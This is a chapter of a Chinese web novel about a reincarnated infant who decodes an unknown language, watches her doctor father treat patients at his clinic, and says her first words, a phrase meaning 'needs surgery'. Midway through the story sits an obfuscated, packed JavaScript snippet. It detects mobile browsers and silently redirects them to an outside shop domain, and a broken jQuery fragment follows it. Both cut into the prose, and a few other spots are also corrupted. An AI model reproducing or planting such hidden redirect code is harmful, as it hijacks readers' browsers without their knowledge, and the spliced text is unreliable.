No.002 说话
语言X猜谜X做手术
四月四。
蕾欧莉很快便弄明白一件事:她听不懂别人说话。
不是“听不清”——她的听力没有问题。
她能分辨出那些音节之间的细微差别,能识别不同人的音色,能感知语调的变化。
但她不知道那些音节代表什么意思。
“唔哇哇”和“唔哇咦”之间有什么区别?
“咕噜咕噜”和“咕噜啪”之间有什么联系?
她的神经系统正在重新建立连接。
那些负责语言处理的脑区——布罗卡氏区、韦尼克区——还处于待机状态。
神经元的轴突正在缓慢地髓鞘化,突触连接像一张正在编织的网,每听到一个音节,就有新的连接被激活,旧的连接被强化或修剪。
她的大脑是一块尚未被刻写的磁盘,而现在,这个世界正在往上面写字。
她急不来。
但她很会等。
——这是她为数不多确信自己擅长的东西。
不是“耐心”——耐心是被动的,是忍受。
她不是。
她是“懒”……
懒得哭,懒得闹,懒得做那些不会产生任何实际效益的事情。
哭有什么用?闹有什么用?她又不会因为哭闹就提前学会说话。
所以她躺着,听着,等着,让她的脑子自己把那些声音收拾好。
在最初的一个月,她开始记录。
不是用纸笔——是用脑子。
她在脑子里开了一个“词典”,把听到的音节组合和对应的“结果”关联起来。
“嘟嘟——咪——”→喂奶。
“唔唏——唏——”→换尿布。
“咕吧吧——咿——”→拉粑粑。
她发现那些声音不是随机的。
同样的音节组合,同样的结果。
不同的人说同一个词,音色不同,但核心的发音结构是相同的。
她在脑子里建立了一个“声纹库”,把每一个词的标准发音和变体都存档归类。
很快,她就能分辨出“Bing Bing”和“Bin Bin”之间的区别——前者是吃饭,后者是有人在叫一个叫“Bin Bin”的人。她的“词典”里已经有九百多个词条。不是“学”的——是“破解”的。她把这门语言当成一套密码来破译,词频分析、语境推测、关联性匹配,所有的工具都用上了。
两个月的时候,词汇量翻了一倍。
她发现了一件有趣的事:这门语言和她在梦里听到过的某种语言有相似之处。
不是发音相似——是结构相似。
主谓宾的语序,修饰词后置的规则,某些助词的用法。
她的脑子里好像本来就有一本某种语言的语法书,她现在只是在把这本书和新语言对照着看,把不同的地方标注出来,把相同的地方划掉。
她不知道自己脑子里那本“语法书”是什么语言。
她甚至不确定那算不算“语言”——也许只是某种语言的骨架,没有血肉,只有规则。
但够用了。她不需要知道那是什么。
她只需要用。
等到四个月的时候,随着婴儿的视力终于能聚焦看清约?0.5-1米?内的物体,她开始做另一件事:看字。
不是“读”——是“看”。
她的爸爸——欧内斯特·帕拉丁奈特,那个戴眼镜的、眼下永远挂着青黑的男人——是镇上唯一的全科大夫。
诊所不大,但病人不少,从早到晚都有人进进出出。
摔断腿的矿工,被魔兽咬伤的猎人,发烧咳嗽的孩子,肚子疼的老人。
欧内斯特把他们一个一个地接进来,问诊、检查、开药、缝合。
蕾欧莉被欧内斯特放在候诊室的长椅上,裹着一条毯子,面朝诊室的方向。
她看不到病人的脸——被欧内斯特的身体挡住了。
但她能看到墙。
诊室的墙上挂着好几张图。最大的一张是人体解剖图——全身的肌肉和骨骼,红色的是肌肉,白色的是骨骼,线条精细,标注密密麻麻。
旁边是一张牙齿结构图,一张眼睛解剖图,一张 circulatory system 图。
每张图的下面都有一行一行的文字,那些文字和欧内斯特嘴里说出来的音节之间有某种联系。
她开始“猜”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618302|206123||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
欧内斯特说“肝脏”的时候,视线落在那张解剖图的右上角。
欧内斯特说“缝合”的时候,手指在空气中做了一个动作——拇指和食指合拢,手腕转动。欧内斯特说“感染”的时候,眉头皱起来,语气变沉了。
她把那些音节和那些文字、那些动作、那些表情关联起来。
不是“学”——是“拼”。
像拼图,每一块都小得不起眼,但拼在一起就成了一幅完整的画面。
有一天,欧内斯特在给一个病人缝合伤口。手背上的撕裂伤,需要缝五针。蕾欧莉躺在长椅上,侧过头,从候诊室的角度看到了欧内斯特的手。
那双手拿着针持,针穿过皮肤,线拉紧,打结,剪线。每一个动作都精准、稳定、流畅。
她的手指开始动。不是刻意的——是自动的。拇指和食指合拢,像捏着什么细小的东西。
手腕轻轻转动,像在画一个很小的圆弧。整只手稳定地悬停,没有丝毫晃动。
她看到了一些画面。不是梦——是“记忆”。
一间很大的房间,白色的墙壁,白色的天花板,白色的床单。有人在说话,声音很急,语速很快。“血压下降了”“准备输血”“再来一针肾上腺素”。
她的手在动——不是婴儿的手,是成年人的手,戴着白色手套,握着一把刀。刀刃在灯光下反射出刺目的白光。
她不知道那些画面是什么时候、在哪里发生的。但她的身体记得。她的手记得。
六个月大的某一天,蕾欧莉说了她人生中的第一句话。
不是“妈妈”,不是“爸爸”。
是“ah-mah-lee-YOT qil-MOK”。
这是需要做手术的意思
发音很清晰,认谁都不会弄错。
欧内斯特正在把手术器械分类放进消毒锅。
当啷一声。
欧内斯特的手停了。
*下集预告*
忘了加载语言包的世界,除了勤奋努力还有别的办法吗?
来不及了,必须早点证明自己是个“天才”!
下集,《No.003 梦境X选项X通用语》!婴儿的脑子就是好使!
敬请期待……